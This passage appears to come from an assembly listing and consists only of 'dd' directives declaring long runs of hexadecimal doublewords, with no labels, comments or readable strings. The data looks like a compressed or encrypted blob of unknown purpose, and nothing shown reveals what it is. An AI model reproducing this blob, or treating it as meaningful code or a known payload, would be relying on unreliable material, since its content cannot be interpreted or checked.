		dd 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh, 1072C6DCh
		dd 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h, 0CDD53940h
		dd 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh, 0AB51E0FEh
		dd 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h, 587CC109h
		dd 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h, 80009F8Bh
		dd 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h, 6D009579h
		dd 57B9D5E4h, 38DEA83h,	82B7CD0Fh, 7C00DBCh, 0B103FD41h
		dd 87A3972Ah, 8ACFE029h, 48240078h, 0B7EA61E9h,	0D5EE7649h
		dd 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h, 0A0656631h
		dd 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh, 0AD30EC57h
		dd 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh,	0A575C410h
		dd 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh, 71959987h
		dd 3F8F1CA0h, 4698003Dh, 0DB31A266h, 50030A8Eh,	5DA8D0F7h
		dd 59C6D05Ch, 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h, 8100262Dh
		dd 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h, 0D79BE600h
		dd 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h, 7F834AC6h
		dd 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h, 0C78E62D4h
		dd 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh, 512E1E0Eh
		dd 451A4069h, 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h, 0B400A860h
		dd 768BC7DFh, 7DB91A0h
		dd 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h,	1504E083h
		dd 18CECDFh, 35586176h,	0C46F24BFh, 0E63B5599h,	0EC2B0019h
		dd 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h, 1DAFDB04h
		dd 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh, 737938h
		dd 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh
		dd 7B9D3700h, 0CEB45Ch,	62574738h, 33B5B6E9h, 61B30800h
		dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h
		dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h
		dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h
		dd 53458EC0h, 4072200h,	0EC5FD244h, 0D3C80020h,	0A96D7C14h
		dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh
		dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh
		dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h,	15850056h
		dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h
		dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h,	9207A7B1h
		dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh
		dd 0A8C26Dh, 6878AC54h,	0F73128F3h, 0B033C500h,	9B35B6B1h
		dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh
		dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh
		dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h,	500BEF73h
		dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh
		dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh
		dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh
		dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h
		dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h
		dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h,	0E21CB602h
		dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h
		dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h
		dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h
		dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h
		dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh
		dd 6206E52h, 98707B9Eh,	50657AE5h, 6F643E70h, 375FB875h
		dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh
		dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh,	2E63C66Dh
		dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh,	1E2BA2A3h
		dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h
		dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh
		dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h,	0EA00DF96h
		dd 10060h, 4E810000h, 47370000h, 8D2E0BEEh, 7554488Eh
		dd 4E4063BDh, 77985607h, 0FC43B78Ah, 0EFD7AD6Fh, 0DB832BAh
		dd 0C8C657FFh, 0CEE05DA0h, 193B83CFh, 0D4FA4CECh, 0A80C9E04h
		dd 0CBB9D1F9h, 0AA17B937h, 0D5C17821h, 3A06632Dh, 0D87D4CA4h
		dd 94FFD4Ch, 0C7CBF952h, 47B9E787h, 8392255Eh, 0E78F0F52h
		dd 45CC5C53h, 0ABEFDC63h, 377CF37Ah, 4868059h, 9377F77Eh
		dd 0DFE31170h, 2B2F7420h, 98F2D6D9h, 0F15A48F7h, 0CB0D7D08h
		dd 5346D33Eh, 22E79F5Bh, 0C6EFD9D0h, 0E04756Eh,	7CC47D7Bh
		dd 538EE82Ah, 0DDF408C3h, 0B9669ADDh, 0A2E97A6Eh, 6843E059h
		dd 710CC448h, 0C904D252h, 8D39C6C7h, 714F38BFh,	176DE7B3h
		dd 2C7FC0D6h, 26F3E8E2h, 23256F60h, 67DF7E10h, 0BC3A283h
		dd 0BF9CB8CAh, 1C8BF32Dh, 9FEC237Dh, 0BF33406Fh, 8A729771h
		dd 0A481AB4h, 0E5F41236h, 0F64A938Bh, 8BC79667h, 0A072A9A8h
		dd 0DB310BF1h, 0FF58989h, 0C64AE36Fh, 35F53940h, 28F1A5A6h
		dd 4D586FB8h, 46DE0CFAh, 417FF5A5h, 778305FDh, 7941D089h
		dd 2DBB9EC9h, 2AD6786Ah, 2ACA5BE5h, 0BCAA6F2Fh,	0B124048Ah
		dd 34834FB3h, 0EE3E6E92h, 6FC04264h, 1E265060h,	0E16B26BAh
		dd 5B0862EEh, 822F865Fh, 7C350756h, 1A21156Ah, 0DD16314h
		dd 99E75561h, 0D3CD63ECh, 0D7E2A371h, 8C7D3B0Eh, 1BE9FECCh
		dd 0F2312844h, 0A8C4E76Eh, 78B9A614h, 3EBFD15Fh, 0DCBC4B49h
		dd 530DDA0Ch, 0B0F622CFh, 1AC55D97h, 44C2A36Ch,	874ECA3h
		dd 0CC9A5AD3h, 0E2F26518h, 71A91A4Dh, 0C702BBCDh, 1824DD42h
		dd 0AC52B761h, 0CB57134Ah, 0E93EC3B2h, 5E0A0FE7h, 0A988DE27h
		dd 9B11F402h, 8FC1FB7Eh, 3061BC9Ch, 0F0F21657h,	5A610A30h
		dd 89B9518h, 0E463C35Fh, 36FEBA93h, 7A27655Eh, 1A26098Bh
		dd 43804CCBh, 7F7D2711h, 0DF9B424Ch, 0FA3B5F64h, 0E4BA89BEh
		dd 0C8ADF26Ch, 52FDCE76h, 11B42756h, 0ED408513h, 0F163CE7Fh
		dd 521CCBEEh, 0E77140Fh, 3800C7Ch, 59E6A106h, 0DDF6F281h
		dd 0A8A30BB5h, 0AE4EB1DEh, 0B62F7C5Fh, 0C03CAF06h, 0BC3B574h
		dd 0E76BC0Fh, 42EA34FBh, 2FF3051Eh, 0A25EF1DBh,	0A549B10Ch
		dd 0F3190FCAh, 95EF5CBEh, 7CDCDDD6h, 0AB40C637h, 596CB3Bh
		dd 0D8AB562Ch, 0C960C333h, 144A2FC9h, 0AB946640h, 5869903Ch
		dd 8E215DB5h, 6474B83Dh, 0D82D50DBh, 2C06391Ah,	5C29BC0Dh
		dd 1C1A6A70h, 41D8D30Ah, 13F4A480h, 0EB546EE8h,	0FFE6879Dh
		dd 2ADCDCCBh, 0D50862BEh, 0B0FC1C0Bh, 5ECF864Fh, 0FE2C3868h
		dd 0E56305Ah, 1E5AD760h, 833C4827h, 79A7311Eh, 0D5818EECh
		dd 7525BE02h, 1B5B020Ch, 3FD2EACDh, 4538053Dh, 523319E4h
		dd 2DCD1E17h, 878ACA57h, 0D63B263Bh, 0B2D1908Dh, 0E3496C0Ah
		dd 0A4C55ACAh, 47C2F07h, 4AA16F7Ah, 0A48D3568h,	22FE64A1h
		dd 0E2F5A0A4h, 6912B7FAh, 0E14D9270h, 98F8AA07h, 882B3554h
		dd 0F9FB6AFBh, 0FD86D6E6h, 9436C48Ah, 10E82CEAh, 0E6DCECBCh
		dd 3A831282h, 0ABF749C2h, 20448DD9h, 0B8B69634h, 0D4547ABDh
		dd 5FD14287h, 0C6DD7A35h, 656E86FEh, 35BA15D7h,	0B64464F0h
		dd 30339B0Ah, 572B11FDh, 0DAF21A18h, 0B40776B8h, 88B18F37h
		dd 89C8180Dh, 0B2390CCFh, 0D80144Bh, 6BB6CBAh, 5A50E90Fh
		dd 0F86808Bh, 9069021Eh, 0B47BCF1Ch, 531FE7FEh,	0E597BF96h
		dd 4C214D98h, 0B2A13538h, 26C60D9Dh, 0A2332A3Eh, 2EF0E13Dh
		dd 74D398C4h, 926DDDACh, 0CA37F81h, 0D40844BBh,	33165172h
		dd 60F6AD59h, 1C9C545Dh, 3B9668D4h, 95B40C09h, 0A47E6B97h
		dd 0E175D05Bh, 70479DADh, 0AE5953D2h, 8508986Bh, 0B951764Fh
		dd 0E8B3B9D1h, 9EB5DEB8h, 0CAF6FC85h, 0FDD87235h, 93F39970h
		dd 36872EC6h, 557D778Ah, 4D78D7C8h, 7DE5AFCEh, 7758D267h
		dd 6AF3DC74h, 0BBC568A7h, 0D3D5E5FCh, 0B4596F72h, 37A68127h
		dd 4A5A1E16h, 5DE39166h, 98B06713h, 0F6F073D6h,	959A39CDh
		dd 80859DCh, 0A66BBBDh,	0DC7154AEh, 8E0025ACh, 629B401Ah
		dd 733A4167h, 1E210394h, 0BA699515h, 6C569855h,	362FC2D9h
		dd 0B12A5787h, 0BD09F179h, 0F393F19h, 0B44D70A5h, 0F094D89Dh
		dd 96F1705h, 0E63160EBh, 0EEC9227Dh, 8C0E7A5Ch,	0DB028DA6h
		dd 0CEAA29C3h, 0CF3D90A9h, 0D58FEEC3h, 1DF30489h, 7C3C6769h
		dd 314F381Dh, 9E091339h, 8CD9B940h, 0ED042F81h,	7C4A9423h
		dd 5590EAA1h, 36129A05h, 1B1A39AEh, 0BB9888F3h,	0A99FFD7Eh
		dd 8F064260h, 0B2E69E13h, 3FCBDC11h, 329029FFh,	60616DB6h
		dd 3F13E987h, 3F8D5282h, 628A905Eh, 0C9E2353Ch,	0D72F2325h
		dd 3A31D06h, 3C0B60B3h,	11BE6AEBh, 0FFFC3A14h, 1310D726h
		dd 0D40C77Bh, 1ABB59h
		dd 0EF1310D3h, 48B16F8Ah, 7AA1F13Bh, 78B96B49h,	0CC17DFABh
		dd 6613CF54h, 0B416A9DDh, 58B98D01h, 378BFEC4h,	77021E21h
		dd 0F23BCE01h, 8630FA70h, 3F9C697Dh, 0B06CFB3Ch, 142270C3h
		dd 9E8494A0h, 0B234234Ch, 0E0547E05h, 0F3277042h, 8783CBEBh
		dd 5D3FCA2Eh, 93D29528h, 1E60FB01h, 1D639348h, 0FD3717AEh
		dd 999EFC23h, 356C85h, 6B2809CEh, 0F00462DCh, 1B43C981h
		dd 82C19D64h, 5B3C163h,	8BC611C7h, 6850A9DEh, 5C8772DDh
		dd 6493FAFh, 63BFD815h,	2D7E38A8h, 0B890C372h, 0C65C7DDBh
		dd 0AAD40CEDh, 0E5C016A8h, 43DF9A34h, 0F7E3CECEh, 0CD6A7E1Bh
		dd 15E6A6A9h, 72662123h, 392DE1BBh, 27313B5Dh, 9FF6E8D0h
		dd 0CE2D8FC9h, 6230DF0Eh, 0B184C3EFh, 0ED29710Ah, 0CAFCC139h
		dd 307766ADh, 3C9E6484h, 554AD295h, 0DBDBD450h,	6367217Ch
		dd 4FB0116Dh, 327330C4h, 90087A08h, 764A2A3Ah, 0B03D355Ch
		dd 0DA8922FAh, 0C1E7618Fh, 0DB067DF9h, 520EBA21h, 0B512E76Ah
		dd 599CB4F1h, 0F04CAF4Fh, 22AE7ADFh, 95C63A54h,	8AA3FC1Ah
		dd 88E75DBEh, 573A5419h, 40A695E9h, 20AAAE60h, 670CD8EAh
		dd 0B00B3FE1h, 87087B06h, 47819B18h, 136DE22Dh,	0B482963Bh
		dd 67AA27DBh, 0EF68B0DDh, 0A5C0EFD1h, 0AAFC6068h, 2AE3D068h
		dd 0B2FC9DB2h, 0A8F82331h, 48014B42h, 3477DAB9h, 0A1CE27AEh
		dd 6E034C84h, 0AED57F15h, 0FEB3EEBCh, 0B1412274h, 2D9C1272h
		dd 65EAAA2Fh, 44D16B7Bh, 9581AF4Bh, 0D18C77D9h,	51627D56h
		dd 0F12842E2h, 1A9A8A03h, 0C68EDA60h, 0DFF82674h, 0F32A954Fh
		dd 73F98CB3h, 992DC60Ah, 0C9DDE2A2h, 36CDD6C3h,	0DEF7E621h
		dd 28CFFD7Ah, 293B9B8Bh, 0A2237D76h, 2695416h, 0DDB62AAEh
		dd 303295EDh, 0E7341E9Dh, 0AAFE852Ah, 85CDB37Dh, 0CA41027h
		dd 3D1291F0h, 0E6D562E3h, 11E12784h, 0AA816564h, 0FF1EC5CDh
		dd 8B403BA0h, 7C9DB3B2h, 7B482C69h, 0F3823F40h,	576937F6h
		dd 4F41C9EEh, 224ECFB6h, 0A20A7B59h, 92A01B0Bh,	517AEFAh
		dd 90248284h, 0FCD3D5F5h, 0C97379E2h, 30342795h, 6F487CCCh
		dd 0F97B1B1Ch, 5501723Dh, 20F57E8Dh, 31EEE23Eh,	853A5D45h
		dd 1F935CC6h, 91D64B5Ah, 5F249123h, 0CBA31456h,	81EE562h
		dd 93269810h, 0E5145F3Dh, 94F33BEh, 6410E610h, 38B73194h
		dd 7A957733h, 3D73FCDDh, 0AE29538Fh, 43473DEAh,	0F8EFECDh
		dd 40270F41h, 36299212h, 18AB08A5h, 1B2D2CE5h, 448C1CEFh
		dd 0E8590CEAh, 0EEB30CD8h, 0E22706E4h, 2D58F8D1h, 6607C5AEh
		dd 0EED2C0B1h, 387B3A15h, 7E7064C6h, 9A6E6CCAh,	263D8C87h
		dd 0FE70B1C3h, 1240A6F2h, 7B631E2Fh, 722280F3h,	0D304370h
		dd 0D5F40122h, 0D35922Eh, 3CDAFE9Fh, 0B7DB5642h, 8F52F9EFh
		dd 0B82EE36Dh, 0A38DD01h, 33DC12DFh, 6F3FB30h, 69726F1Ch
		dd 98A98B86h, 44D300C5h, 0FCFFC6C5h, 6A8B9083h,	0E8A4C4A2h
		dd 3C442F7Ch, 89C4CB4Fh, 811220ECh, 25ACDB22h, 85CBBBAFh
		dd 0F8296375h, 66C7F2A6h, 0FF30DC79h, 0A6E3BED2h, 2B300591h
		dd 8F38118Ah, 4DD00386h, 0BE3391C7h, 0A1186D4Dh, 729CEEF2h
		dd 52F150C4h, 4315E278h, 16DC400Ch, 0BCB51235h,	0AF40FF5Ah
		dd 7CBC6A18h, 0A2F6E4Eh, 3DEE8B7Ch, 8E742B5Fh, 9312486Ch
		dd 0AFD5895Ch, 97D9CD42h, 8F929EB5h, 23EAFAB0h,	363DC719h
		dd 16740CD7h, 0A0DFCB9Ah, 1A70F66Ch, 7AB65040h,	0C7A43EF4h
		dd 0BB2AC2D6h, 0FDBE2D6Fh, 50A767DDh, 1DE6339Bh, 0C6F1DCE0h
		dd 43BC028Fh, 0B16E40F3h, 2EB805D4h, 2BDEDF9Ah,	692751B9h
		dd 0CA98D824h, 8388FC1Bh, 9D14BF8Dh, 318D9677h,	4DAD5469h
		dd 1F8143E0h, 9FF12B06h, 52DCD650h, 0DE9ED457h,	0CC6264DAh
		dd 51FB3FDAh, 79E86822h, 6FB317D5h, 3BB32EB2h, 670F63F3h
		dd 0B17E78F1h, 4EF4632Dh, 844772BAh, 0F6CC7269h, 0E95075C6h
		dd 0E7E47DDAh, 0EF6BDEC9h, 4FB313BCh, 0D97CA159h, 8166ED9Ch
		dd 0A7C53981h, 0F5F858DCh, 4D35F24Eh, 31A13975h, 8E4CC961h
		dd 0E6830E53h, 1295DD0Ch, 71CC2A27h, 3DB0D408h,	0E61B9A11h
		dd 0FB2D9D4Bh, 61397B89h, 52C7ABE6h, 787D9F4Dh,	66DB154Bh
		dd 908914A1h, 2203B287h, 0CA8486FEh, 708B5020h,	3005E3AAh
		dd 0A05181E8h, 5C4ABEF8h, 0CCC2592Eh, 6E402C10h, 445986EFh
		dd 0C8FE363Bh, 2F712C1h, 2F3632CCh, 0A2CFBDE7h,	29B04443h
		dd 0A11A008Ah, 1F2058DEh, 8CDDCDD7h, 0E92EFD68h, 7808DD4Eh
		dd 430D7A2Dh, 1B7EA945h, 1DD78A75h, 0F74FBF1Fh,	0DC4F100Ah
		dd 90B07445h, 0F6E6799Dh, 0D77E6604h, 907AF28Bh, 9274665Ah
		dd 0EC2B7B99h, 36BBCF4Fh, 687EE51Ch, 8904D8B6h,	2DB8ABBEh
		dd 0BD31738Eh, 10BC5A11h, 0BC5D352Fh, 1F41AD3Ch, 3EF141E5h
		dd 0ACDCA543h, 0F22AFBE4h, 0AC114D4Eh, 0F28FB6B6h, 1B1F2D0Eh
		dd 46C0F2FFh, 76D153D4h, 0E42F74B2h, 4DED33Ah, 0CFDAD8E9h
		dd 437100D9h, 15FB554Bh, 350D4832h, 8937762Bh, 0E8ECBA8h
		dd 0E6A19CCBh, 699968Eh, 0F09CE063h, 0B173C1A8h, 8B26C9C9h
		dd 7D1CEDA9h, 0E6D6A438h, 0B98BA3E9h, 30C5965h,	0DE0348EDh
		dd 0FCA7B36Dh, 40DAD474h, 0F4FCB83h, 94607C09h,	768100D4h
		dd 0DCB3A610h, 0AA464789h, 1E24556h, 9BFC378h, 0F8DA8AD0h
		dd 0AF47688Fh, 4875F3B8h, 3F4D19F6h, 6F36F78Ah,	0A7C48E73h
		dd 92EE2A11h, 836FA31Dh, 1266175Eh, 26ACBE17h, 28065F2Eh
		dd 4BE88F3Eh, 0FC68B4D9h, 0BD5B0EA9h, 0AFA6E510h, 0C38020D3h
		dd 0E3FB7F32h, 0F790A28Fh, 0CA506D38h, 0F91922D1h, 93ACCC26h
		dd 6BE33444h, 3DEE2C39h, 0BE92C545h, 0A6EDAACCh, 0AB5BAB11h
		dd 4218AFBEh, 33C4B316h, 0BF80A08Dh, 0D7B0C6EDh, 747200DEh
		dd 12D4DB1Ch, 0FBFBA68Ch, 0B0E71E3Ch, 0F5E2509Eh, 3671D4E0h
		dd 0F441C5ACh, 70A6CFEAh, 2D4C1AB4h, 0B2E06917h, 1484478Fh
		dd 0C9882159h, 0DC485A51h, 9EFC1E49h, 28AD0B91h, 0CE26B1BDh
		dd 0E57543A8h, 7E7EE5E2h, 0F0EDCFD3h, 0C58D63BCh, 0B9056471h
		dd 0E9BCEEA5h, 0DE8E0F57h, 9515C3FDh, 48651CDDh, 434A4FF2h
		dd 0F1E3544h, 885AEDE0h, 6138E93h, 716FF948h, 0BDEF9DDAh
		dd 3FF8CAE9h, 44DCFA64h, 273CB0h, 7397A4FBh, 49799768h
		dd 899FA9DCh, 0A5477EB3h, 93D7FC7h, 54E04F99h, 0B218CF3Bh
		dd 0F4F472E6h, 0A4D5FF0Bh, 0CD0EB68Fh, 6A01829Ah, 0B3A2FAEAh
		dd 12439335h, 260A228Dh, 76BE1D84h, 7D626726h, 857DCEE2h
		dd 0FFFD2595h, 551B06E7h, 4669F27Bh, 664B1795h,	35E09BE6h
		dd 7E359BE4h, 732982C3h, 49336565h, 3E66BB49h, 0C4077DFEh
		dd 0C7AB73C7h, 0B9312BABh, 0A8E04217h, 0F60CC1CDh, 49075981h
		dd 11E586FDh, 5B7F818Bh, 16398E86h, 38E9DEEh, 24348E52h
		dd 880F0751h, 0CC84D84Ah, 2B219A60h, 0CC9ED33Fh, 0B0AFA397h
		dd 0E2EA5EC0h, 18067FD6h, 8948F084h, 6681DD0Bh,	0EE9BA71Ch
		dd 2354523Ah, 449F0C81h, 8E645971h, 5F1E0FA5h, 5055AB47h
		dd 0EC0D5EB9h, 0BDC21652h, 8FBED9B7h, 0EEB92EE9h, 83576F1Fh
		dd 0DFF9C8Bh, 0FC3AA9A1h, 3CA2B50Bh, 6D4DA253h,	7AB1F8C1h
		dd 0D48719A4h, 0CE66BBCDh, 0B3045B2h, 9362F7A6h, 0A29D3D33h
		dd 1159BDB9h, 0F7BAEDFDh, 0CE830594h, 3BA25A2Dh, 7062DF17h
		dd 1DFCBFEFh, 8E26BA48h, 0BF34B21Bh, 0E643FBBFh, 0ED53021Ch
		dd 9242A1BBh, 0D535F18Fh, 0DFB4BBEEh, 5E14E03Bh, 12D10C8Dh
		dd 50EF17A2h, 4719B3FCh, 0FF64B101h, 30B2AEB0h,	7BC91335h
		dd 5C27E25Bh, 0C09F0922h
		dd 1465D541h, 65CDAB34h, 4ABFF0ADh, 2641AAAh, 412DFD6Dh
		dd 0E2A4E12Fh, 23A4AC17h, 0E71F9933h, 274654BFh, 8CFF8E1Eh
		dd 5A91F831h, 82197852h, 3AB0CDC3h, 0EAA15E14h,	0A41F95B5h
		dd 1F2E670h, 480AE436h,	0F3AF2FDFh, 12E09267h, 0C8DB8626h
		dd 5498DA45h, 8C8A1AEFh, 8369E97Ah, 0D8812777h,	6903E1ACh
		dd 747D629Ch, 12CF1E36h, 3E818912h, 6ECF7863h, 5A183512h
		dd 0A9071E96h, 9D6D4DA9h, 2177F101h, 0E61B9678h, 0F2731326h
		dd 30A8921Fh, 0FAF483CEh, 6D35A1F4h, 1326F05Ch,	9FFCB79Ah
		dd 8D4BDF30h, 3E3C5613h, 0E3244144h, 0D6E4BA60h, 995BA540h
		dd 0A08F54Bh, 0B87EA6A2h, 0E05D7AECh, 31675CDh,	7FF7DA69h
		dd 59CBFF9Eh, 1A865EDh,	0D259CBB1h, 0E85FBCF1h,	4AF61B0Bh
		dd 1B88274Ah, 66E7BF8Dh, 0B217164Fh, 1D48464h, 0DA082F65h
		dd 34FBB0E8h, 6288AC07h, 0D4462D33h, 3E244A66h,	4EBFDDC9h
		dd 0CDA8FAC8h, 140A67A1h, 39154EB2h, 0B3633644h, 0B90182FAh
		dd 0EE852471h, 6CF99A07h, 35EC4304h, 0D5C67366h, 32FC6A5Ch
		dd 98495CE1h, 0F1AEEC6Bh, 0A0622D7Fh, 0AE7CE676h, 0D9DB5E37h
		dd 9E91385Ah, 752A8D84h, 1B096205h, 26F988EBh, 0BA38FA47h
		dd 1E239524h, 0E6B8A0C9h, 7A3E35Ah, 6B249182h, 0D6C195A2h
		dd 6298B27Ch, 0D030D9Ah, 20009E3h, 810FEA7Fh, 0D989D58Ah
		dd 0FD076DE0h, 0D024390Fh, 630C039Dh, 0B51E3938h, 1C45CA20h
		dd 0EB1A69A6h, 0E56ECCFFh, 0AF84198Ch, 0F41DC34Eh, 65ADA10Ah
		dd 1F56C45Bh, 0AE91D29Dh, 3D122AEDh, 0CF9ECCC8h, 0E340C5A6h
		dd 0F2C233A3h, 3A0400FAh, 0EA048F3h, 85700AF8h,	0B6CC7AA3h
		dd 0A685A5AEh, 67D1ACBDh, 0B8A5C892h, 0FF171CCDh, 24300A32h
		dd 1CB080BAh, 0A8D5B3EEh, 0D169441Ah, 8DCEE3F4h, 0BA19B10Dh
		dd 2952C9B1h, 9DF309AEh, 0D32B8850h, 0F394F9B5h, 4B43D6F6h
		dd 0FC75FF35h, 96EE0B43h, 7C894A27h, 0EFC8E5C2h, 4C2455EEh
		dd 5A86B9B7h, 26A94FAEh, 0E4B2C361h, 0C5A56C5h,	0CFCB87DBh
		dd 95D3242Dh, 0F96DA58Eh, 78B9DA70h, 0DE127E66h, 24391CBDh
		dd 556F6357h, 6A3121FEh, 0F8698DAFh, 43CB3622h,	0ACACCE0Ch
		dd 0F0E86873h, 487B3BB0h, 4A883F54h, 0CC3D12E4h, 90B46E5Dh
		dd 4D7DECC2h, 9337A609h, 0B86D4A86h, 5C437F60h,	8B3A2368h
		dd 0C934EB1Dh, 0CBE1FDDAh, 3EAC732Bh, 6478AE6Eh, 41D908F6h
		dd 63DC29BAh, 2445B7F1h, 98203B50h, 4C40066Ch, 2F6D4CF0h
		dd 5085854h, 0B6E0348Fh, 2819809Ah, 8C36647Ch, 6B134502h
		dd 0C7B40F36h, 0F3D59DC6h, 1EE17F1Eh, 3CE69639h, 286B97D7h
		dd 0A3B777F7h, 4F5AD771h, 8A493E89h, 0D8830324h, 27DCA36Dh
		dd 9FC6B61Dh, 0F46F17Fh, 8935BAD0h, 1084C52h, 4433BAF2h
		dd 424377BAh, 5CD4A743h, 78412CB8h, 5BB61CD2h, 5BA337FCh
		dd 0FECE12DBh, 2AD957Eh, 4FA27261h, 6AFE38A5h, 7F581E76h
		dd 68502B1Ah, 0F3FA77D8h, 54798035h, 3F233F8h, 6D166A8Dh
		dd 645DC038h, 2D1AC55Eh, 3AF00C2Ah, 0D43DEB46h,	0A3B8F203h
		dd 93E61517h, 0E676C467h, 4838BBDEh, 6AC3667Fh,	0E4D4C69h
		dd 3B28FC00h, 3A26E1E4h, 62C9906h, 366F8C88h, 0E2D9F9A3h
		dd 3C66183Eh, 99BE6872h, 0F8B0C2CCh, 2FFE5CD6h,	2203B859h
		dd 0EAB65458h, 8845A3E3h, 9EB579F3h, 0E2F76BEAh, 77C5BE7Bh
		dd 0FC0BD979h, 0E20F6E8Fh, 21E2539Bh, 27494A91h, 0BF64A212h
		dd 94F96D25h, 1E9CD902h, 86991615h, 0BFDBA221h,	0EBB6C2DBh
		dd 456A8890h, 8B450C74h, 2E4EB1BDh, 697F9C8h, 0E4F2EF09h
		dd 1E855135h, 7F0E8116h, 7A9A7EC2h, 2E5E3E71h, 908ABA7Ch
		dd 4EBC302Ah, 81FB1C43h, 2364A3CEh, 0F4EC0AD4h,	0B4B453D3h
		dd 2D46BD1Ch, 0BD274DCAh, 66F0C558h, 859446F6h,	8B377D1Eh
		dd 290F05Dh, 0C67423B6h, 52975C48h, 0A1E584ECh,	0CA426AB0h
		dd 0F10A921Fh, 279F8FEDh, 0FBA43C2Dh, 0F0F06479h, 0BE0E735Eh
		dd 5CD3B1D4h, 0E3FE1E21h, 72B7F914h, 9FFC2AF2h,	0F0F3643Eh
		dd 7A43BAC3h, 9EBBE2D1h, 9CF29B43h, 1E769675h, 6A931ED2h
		dd 45617825h, 0E71AE3CEh, 0E5929921h, 3E63734Dh, 0B587E5Dh
		dd 984A2DAFh, 284BF61Ch, 0B034FCDFh, 50AEB021h,	4939F5BCh
		dd 70B0FC33h, 0D7035A1h, 56FE735Fh, 0D643DE16h,	0DCE0231Eh
		dd 0B0CEB4B4h, 8BF9DD5Fh, 6412958Eh, 362B5288h,	67C26501h
		dd 47B61C6Ch, 0C1F107A2h, 73AF2730h, 98FE7AFEh,	1E32F0F2h
		dd 0FEC8FE9Ch, 50AF0C16h, 0E5425861h, 7099E871h, 4F86A9F9h
		dd 0A257C8F1h, 0A8610420h, 71843E00h, 0ADC0BCBBh, 0E026FF45h
		dd 3E9DB16Bh, 5721FF80h, 5A1BC7D7h, 0A7D8262Eh,	3FD04575h
		dd 2028C391h, 4DB458CAh, 0BCE9F798h, 35A9783Ah,	860E0DC8h
		dd 0A4E169F3h, 3FB4A656h, 72D18912h, 28FBBEDAh,	8D263087h
		dd 0DFE61DA7h, 5CCF9699h, 0DA14C8C3h, 0DCD5E4DFh, 630C9C6Dh
		dd 24E2911Fh, 47EAF25Eh, 0A7C5C08Bh, 8E052537h,	1B7F0EC1h
		dd 0B092FB7Ah, 59A10034h, 9EFB5BBBh, 3F4E92CFh,	0D1598617h
		dd 0ED5CE4E0h, 0BBCBB78Bh, 0F772F344h, 0A51C7848h, 0F507437Ah
		dd 3BF2F783h, 34240377h, 8F18686h, 0E3C7A2ACh, 375D9AC8h
		dd 58982648h, 19538361h, 565ECAE3h, 0C7567652h,	0C9D3A226h
		dd 681FBD22h, 0D0C9CAACh, 7EE0CC89h, 0AF8AC488h, 0DE022AF7h
		dd 98D1B524h, 84A1E758h, 0C5C75997h, 986EB4DCh,	33BF1C35h
		dd 1C4BF83Ch, 0DF1E990h, 0AAC3E802h, 373747F6h,	0DB82C092h
		dd 0CD84F04Ch, 6936BD8Fh, 0F08DE6Bh, 0EFA38BD0h, 2B4ECA1Eh
		dd 0D65E39B6h, 6E350D98h, 1A9D492Eh, 4EB740B6h,	89176784h
		dd 42E89FA4h, 5CB4BDD6h, 0FED22BCBh, 5F9A4238h,	96BB5049h
		dd 7E497D3Dh, 227792F7h, 0D616620Ah, 0D36EAE08h, 2A570C7Ch
